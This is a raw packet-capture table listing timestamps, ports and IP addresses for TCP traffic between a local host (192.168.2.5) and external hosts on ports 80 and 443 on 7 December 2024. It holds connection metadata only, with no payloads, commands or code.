Dec 7, 2024 08:43:09.923051119 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.923230886 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.923295975 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.924571037 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.924608946 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.924711943 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.924748898 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.973841906 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.973911047 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.973913908 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.973959923 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.974344969 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.974385023 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.974455118 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.974494934 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.975512028 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.975554943 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.975620031 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.975657940 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.976694107 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.976732969 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.976764917 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.976800919 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.977828979 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.977880955 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.977916956 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.977956057 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.978965998 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.979010105 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.979068995 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.979104996 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.980118036 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.980154991 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.980204105 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.980246067 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.981282949 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.981318951 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.981410027 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.981446981 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.982450962 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.982498884 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.982568979 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.982606888 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.983587027 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.983627081 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.983704090 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.983741045 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.984761953 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.984801054 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.984934092 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.984973907 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.985896111 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.985934019 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.986047029 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.986084938 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.987107038 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.987153053 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.987165928 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.987205029 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.988250017 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.988290071 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.988362074 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.988401890 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.989402056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.989439011 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.989516020 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.989553928 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.990613937 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.990662098 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.990669966 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.990709066 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.991691113 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.991729975 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.991813898 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.991848946 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.992886066 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.992938042 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.993050098 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.993088007 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.994024038 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.994070053 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.994144917 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.994185925 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.995182037 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.995244980 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:09.995317936 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:09.995354891 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.035748959 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.035873890 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.035873890 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.035923958 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.036221027 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.036262035 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.036322117 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.036360025 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.037224054 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.037266016 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.037322998 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.037363052 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.038244009 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.038290024 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.038367987 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.038404942 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.039258003 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.039299011 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.039361000 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.039400101 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.040240049 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.040277958 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.040347099 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.040385008 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.041275024 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.041296005 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.041330099 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.041342974 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.042264938 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.042321920 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.042382002 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.042423010 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.043277979 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.043323040 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.043382883 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.043421984 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.044301987 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.044342995 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.044408083 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.044446945 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.045326948 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.045367002 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.045430899 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.045469999 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.046315908 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.046355963 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.046478987 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.046516895 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.047338963 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.047378063 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.047403097 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.047442913 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.048361063 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.048401117 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.048491001 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.048530102 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.049392939 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.049432039 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.049510002 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.049547911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.050367117 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.050409079 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.050477982 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.050515890 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.051373959 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.051418066 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.051516056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.051554918 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.052383900 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.052431107 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.052587986 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.052632093 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.053421021 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.053467989 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.053531885 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.053574085 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.054548979 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.054616928 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.054626942 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.054656982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.055418968 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.055463076 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.055541039 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.055576086 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.056435108 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.056478977 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.056549072 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.056586027 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.057431936 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.057471037 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.057533026 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.057573080 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.058408022 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.058446884 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.103316069 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.103363991 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.103379011 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.103401899 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.103687048 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.103729010 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.103801966 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.103840113 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.104692936 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.104744911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.104811907 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.104851961 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.105884075 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.105927944 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.105966091 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.106000900 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.106729984 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.106767893 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.106863022 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.106904984 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.107738972 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.107784986 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.107819080 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.107858896 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.108753920 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.108798027 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.108903885 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.109055042 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.109781981 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.109828949 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.109867096 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.109900951 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.110749960 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.110791922 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.110872984 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.110914946 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.111783028 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.111826897 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.112138033 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.112176895 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.165821075 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.165889978 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.165909052 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.165947914 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.166244984 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.166285038 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.166313887 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.166353941 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.167340040 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.167392015 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.167440891 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.167476892 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.168288946 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.168375015 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.168420076 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.168468952 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.169289112 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.169328928 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.169476032 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.169509888 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.170310020 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.170340061 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.170454025 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.170490026 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.171361923 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.171411991 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.171503067 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.171538115 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.172322989 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.172360897 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.172449112 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.172487020 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.173356056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.173388958 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.173481941 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.173517942 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.174341917 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.174377918 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.174479008 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.174515009 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.175380945 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.175419092 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.175563097 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.175601959 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.176384926 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.176423073 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.176492929 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.176528931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.177495003 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.177531958 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.177552938 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.177588940 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.178402901 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.178437948 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.178539991 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.178575039 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.179405928 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.179447889 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.179485083 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.179519892 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.180378914 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.180433035 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.180475950 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.180520058 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.181437969 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.181476116 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.181577921 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.181627035 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.182421923 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.182459116 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.182521105 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.182558060 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.183418989 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.183466911 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.183552980 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.183593988 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.184451103 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.184508085 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.184530973 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.184573889 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.200917006 CET	443	49703	23.1.237.91	192.168.2.5
Dec 7, 2024 08:43:10.201006889 CET	49703	443	192.168.2.5	23.1.237.91
Dec 7, 2024 08:43:10.227684975 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.227715015 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.227756023 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.227778912 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.228224993 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.228271961 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.228470087 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.228513956 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.229202032 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.229244947 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.229311943 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.229355097 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.230201006 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.230247974 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.230308056 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.230348110 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.231204987 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.231251001 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.231282949 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.231333017 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.232254982 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.232301950 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.232377052 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.232422113 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.233263016 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.233304977 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.233350992 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.233396053 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.234244108 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.234287977 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.234374046 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.234419107 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.235284090 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.235330105 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.235361099 CET	80	49704	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:10.235399961 CET	49704	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:10.236354113 CET	80	49704	185.215.113.206	192.168.2.5
